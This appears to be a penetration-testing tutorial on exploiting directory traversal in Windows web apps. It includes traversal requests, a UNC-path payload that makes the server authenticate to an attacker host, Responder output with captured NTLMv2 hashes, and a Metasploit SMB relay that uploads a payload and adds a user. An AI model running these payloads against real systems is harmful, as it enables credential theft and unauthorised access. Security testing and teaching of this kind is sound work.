SMB Attacks Through Directory Traversal

For some reason I've recently run into a number of web applications that allow for either directory traversal or filename manipulation attacks. These issues are typically used to expose web server specific files and sensitive information files (web.config, salaryreport.pdf, etc.) and/or operating system files (SYSTEM, SAM, etc.)

Here's what a typical vulnerable request looks like:

```
GET /Print/FileReader.aspx?Id=report1.pdf&Type=pdf HTTP/1.1
Host: example.com
Accept: application/x-ms-application, image/jpeg, application/xaml+xml,
image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64;
Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
.NET4.0C; .NET4.0E; InfoPath.3)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=ofaj1zdqr40rl2tjtpt3y1lf;
```

Note the Id parameter in the URL. This is the vulnerable parameter that we will be attacking. We could easily change report1.pdf to any other file in the web directory (report2.pdf, web.config, etc.), but we can also turn our attack against the operating system.

Here's an example request for the win.ini file from the web server:

```
GET
/Print/FileReader.aspx?Id=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windo
ws\win.ini&Type=pdf HTTP/1.1
Host: example.com
Accept: application/x-ms-application, image/jpeg, application/xaml+xml,
image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64;
Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
.NET4.0C; .NET4.0E; InfoPath.3)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=ofaj1zdqr40rl2tjtpt3y1lf;
```

This is a more traditional directory traversal attack. We're moving up several directories so that we can go back into the Windows directory. Directory traversal attacks have been around for a long time, so this may be a pretty familiar concept. Now that we have the basic concepts out of the way, let's see how we can leverage it against internally deployed web applications.

Internally deployed web applications can allow for a much wider attack area (RDP, SMB, etc.) against

the web server. This also makes directory traversal and file specification attacks more interesting. Instead of just accessing arbitrary files on the system, why don't we try and access other systems in the environment.

In order to pivot this attack to other systems on the network, we will be utilizing UNC file paths to capture and/or relay SMB credentials. As a point of clarification, the following examples are against web servers that are running on Windows. Following our previous examples, we will be using a UNC path to our attacking host, instead of report1.pdf for the parameter.

Here's an example request:

```
GET /Print/FileReader.aspx?Id=\\192.168.1.123\test.pdf&Type=pdf HTTP/1.1
Host: example.com
Accept: application/x-ms-application, image/jpeg, application/xaml+xml,
image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64;
Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
.NET4.0C; .NET4.0E; InfoPath.3)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=ofaj1zdqr40rl2tjtpt3y1lf;
```

This will force the web server to look for test.pdf at 192.168.1.123. This will allow us to capture and crack the network hashes for the account running the web server service. Here's an example of how we would use Responder.py to do the SMB capture:

```
python Responder.py -i 192.168.1.123
NBT Name Service/LLMNR Answerer 1.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C
[+]NBT-NS & LLMNR responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface:eth0
Challenge set is: 1122334455667788
WPAD Proxy Server is:OFF
WPAD script loaded:function FindProxyForURL(url, host){return 'PROXY
ISAProxySrv:3141; DIRECT';}
HTTP Server is:ON
HTTPS Server is:ON
SMB Server is:ON
SMB LM support is set to:OFF
SQL Server is:ON
FTP Server is:ON
DNS Server is:ON
LDAP Server is:ON
FingerPrint Module is:OFF
```

```
Serving Executable via HTTP&WPAD is:OFF
Always Serving a Specific File via HTTP&WPAD is:OFF

[+]SMB-NTLMv2 hash captured from :  192.168.1.122
Domain is : EXAMPLE
User is : webserverservice
[+]SMB complete hash is : webserverservice::EXAMPLE:1122334455667788:
58D4DB26036DE56CB49237BFB9E418F8:0101000000000002A5FB1391FFCCE010F06DF8E6FE85E
B20000000002000A0073006D00620031003200010014005300450052005600450052003200300003
000380004001600730060D00620031003200 2002E006C006F00630061006C0003002C00530045005200
560045005200320030003000300038002E0073006D00620031003200 2002E006C006F00630061006C00050
0160073006D00620031003200 2002E006C006F00630061006C000800300030000000000000000000000
0000300000620DD0B514EA55632219A4B83D1D6AAA07659ABA3A4BB54577C7AEEB871A88B90A001
000000000000000000000000000000000000000900260063006900660073002F00310030002E003100
300030002E003100300030002E00310033003600000000000000000000
Share requested: \\192.168.1.123IPC$

[+]SMB-NTLMv2 hash captured from :  192.168.1.122
Domain is : EXAMPLE
User is : webserverservice
[+]SMB complete hash is : webserverservice::EXAMPLE:1122334455667788:
57A39519B09AA3F4B6EE7B385CFB624C:0101000000000001A98853A1FFCCE0166E7A590D6DF97
6B0000000002000A0073006D00620031003200010014005300450052005600450052003200300003
000380004001600730060D00620031003200 2002E006C006F00630061006C0003002C00530045005200
560045005200320030003000300038002E0073006D00620031003200 2002E006C006F00630061006C00050
0160073006D00620031003200 2002E006C006F00630061006C000800300030000000000000000000000
0000300000620DD0B514EA55632219A4B83D1D6AAA07659ABA3A4BB54577C7AEEB871A88B90A001
000000000000000000000000000000000000000900260063006900660073002F00310030002E003100
300030002E003100300030002E00310033003600000000000000000000
Share requested: \\192.168.1.123test.pdf
```

Once we've captured the credentials, we can try to crack them with oclHashcat. If the server responds with LM hashes, you can use rainbow tables to speed things up. Once cracked, we can see where these credentials have access.

Let's pretend that we are not able to crack the hash for the web server account. We can also try to relay these credentials to another host on the internal network (192.168.1.124) that the account may have access to. This can be done with the SMB Relay module within Metasploit and Responder recently added support for SMB relay. In the example below, we will use the Metasploit module to add a local user to the target server (192.168.1.124). The typical usage/payload for the module is to get a Meterpreter shell on the target system.

```
Module options (exploit/windows/smb/smb_relay):
Name        Current Setting  Required  Description
----        ---------------  --------  -----------
SHARE       ADMIN$           yes       The share to connect to
SMBHOST     192.168.1.124    no        The target SMB server
SRVHOST     192.168.1.123    yes       The local host to listen on.
```

```
SRVPORT     445              yes       The local port to listen on.
SSL         false            no        Negotiate SSL for incoming connections
SSLCert                      no        Path to a custom SSL certificate
SSLVersion  SSL3             no        Specify the version of SSL that should
be used

Payload options (windows/adduser):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
CUSTOM                     no        Custom group name to be used instead of
default
EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
PASS      Password123!     yes       The password for this user
USER      netspi           yes       The username to create
WMIC      false            yes       Use WMIC on the target to resolve
administrators group

Exploit running as background job.

Server started.
<------------Truncated------------>
Received 192.168.1.122:21251 EXAMPLEwebserverservice
LMHASH:b2--Truncated--03 NTHASH:46-- Truncated --00 OS: LM:
Authenticating to 192.168.1.124 as EXAMPLEwebserverservice...
AUTHENTICATED as EXAMPLEwebserverservice...
Connecting to the defined share...
Regenerating the payload...
Uploading payload...
Created OemWSPRa.exe...
Connecting to the Service Control Manager...
Obtaining a service manager handle...
Creating a new service...
Closing service handle...
Opening service...
Starting the service...
Removing the service...
Closing service handle...
Deleting OemWSPRa.exe...
Sending Access Denied to 192.168.1.122:21251 EXAMPLEwebserverservice
```

This may not be mind-blowing new information, but hopefully this gives you some good ideas on other ways to utilize directory traversal vulnerabilities.